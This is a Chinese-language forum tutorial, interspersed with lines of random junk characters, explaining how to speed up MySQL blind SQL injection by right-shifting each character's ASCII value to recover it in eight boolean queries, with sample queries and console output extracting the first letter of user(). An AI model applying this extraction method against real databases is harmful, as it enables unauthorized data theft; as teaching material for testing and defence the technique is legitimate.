关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
" M  j- U1 F: i3 @- d  z" Y1 w


2 f5 q, l; g7 u* K下面将以查询mysql数据库当中user()的第一位为例:

1 O" \; ^: w" v, D8 w& i

ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


+ g8 E% G2 z; \& y* q) n
) C( A+ \! m7 F首先执行如下sql语句:


& R5 D5 }8 e- |3 y5 @) ]7 b
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

  e  P+ J, o4 J, q( {4 n

! k2 |! c  s$ r' i: {! W我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的


* J: j9 H4 Q( ]4 c5 w( ]
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

2 O; `" v0 I8 t# {7 {4 Z

) Q3 y' [5 x  ]  K+ N如果运算结果为1,说明第一位为0,不为1


+ W7 B9 [3 N+ [( d0 e( E5 X# }
+————————————–+
! h& {# d8 |% @8 {) c" o. {
( |6 K7 J$ i/ d) P| (ascii((substr(user(),1,1))) >> 7)=0 |

% o$ j. N! \5 y% h1 B: Z+————————————–+
, R4 Q$ B# C) j# k/ I4 X
6 R1 b& U7 Q1 |' j( Q5 O. `: J/ c| 1 |

  R* x$ H( B  O9 x+————————————–+
( ?$ ~" m5 ]1 y0 |
2 b& `4 S% O, A1 row in set (0.00 sec)
& Y6 |+ s1 o( d8 a2 N9 a
. ^( q6 u, t3 ]这样我们就确定这个8bit的ascii的第一位为0
# s/ q9 E! n+ F: V# a; x


第二次我们来做6次右偏移来确定前两位
! c2 T- r9 f% ]0 B2 e


$ c  H. N: M2 h, T6 A( [2 t前两位可能是01或00,即依然可以与0做比较,
# d0 a' ?  e2 k- z& C2 T; [9 ~5 I3 q& j
1 G* k  i- g9 u( {mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |

9 A; D3 m( N  R+————————————–+
2 d9 T* @3 M6 @& d" h  p
8 B. b# D$ D# q( h0 d0 O| 0 |
0 I9 z, s4 T; ?" Z3 D0 V& @
- d5 F9 h# y/ o( k% |+————————————–+

) h$ x$ [) C) P1 U1 k# a5 P) ?1 row in set (0.00 sec)
2 h# I9 W: U5 i1 k( @

$ t3 i- z4 j  T# z
结果为0,即第二位为1

; D: c' ~6 g: {9 A3 g8 N( ~3 \

开始猜测前三位为010或011



让我们看看010和011的ascii码是多少



分别查询select b’011′ select b’010′


' e7 x. [! e1 m, g: Y7 Y
# X7 X: Q) n$ ]7 {! B* Z获得结果 010 = 2 011 = 3

: ~6 q2 A& w; i- {! t8 r/ t

执行如下sql:
0 E% r6 J) W( e( A8 B
$ }0 J4 j. _: J, e( y. W
& ~8 q( a# H; `) N
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+
/ ~8 D2 e2 ]/ C# r# G4 ~) _
| 0 |

+————————————–+
7 c. y: a9 s8 {" f7 Q& i, h
即前三位不为010,而是011
; M7 `5 F+ j9 V; r) e! E
/ t! ~5 i# M8 }$ e7 Y$ O5 B0 X
9 v. J! O$ r- G; L6 @; Z$ d
$ Y3 l) G) A$ O1 w1 r3 J+ N- _直到获得最后一位



2 g, q( ]: [7 c7 A% M' L% s最终结果为:01110010


2 w) G7 m* c: \, W4 `' X! R
9 [  N+ q: Q- r  ]& c/ l( t转换一下:

' S8 p0 `* A$ o3 Z' V, V+ I2 X

8 d0 W2 ^+ b7 {  k. Yselect b’01110010′



! E4 ?8 ]" f- \; {查询结果



+————-+
2 f" H8 {; H0 g$ G2 k$ Q" E" U* p* a1 G
| b’01110010′ |

- O: `* @' O; r5 l+————-+
; {  H" }( j% @
| r |

+————-+

& h- O  M* i: S. f9 \6 `5 O1 row in set (0.00 sec)



这样我们就获得了user()的第一位.其它位依此类推
' y+ [* ~& A8 N0 |7 M0 P  L
( G2 [& ~  o9 X: @) L& t" d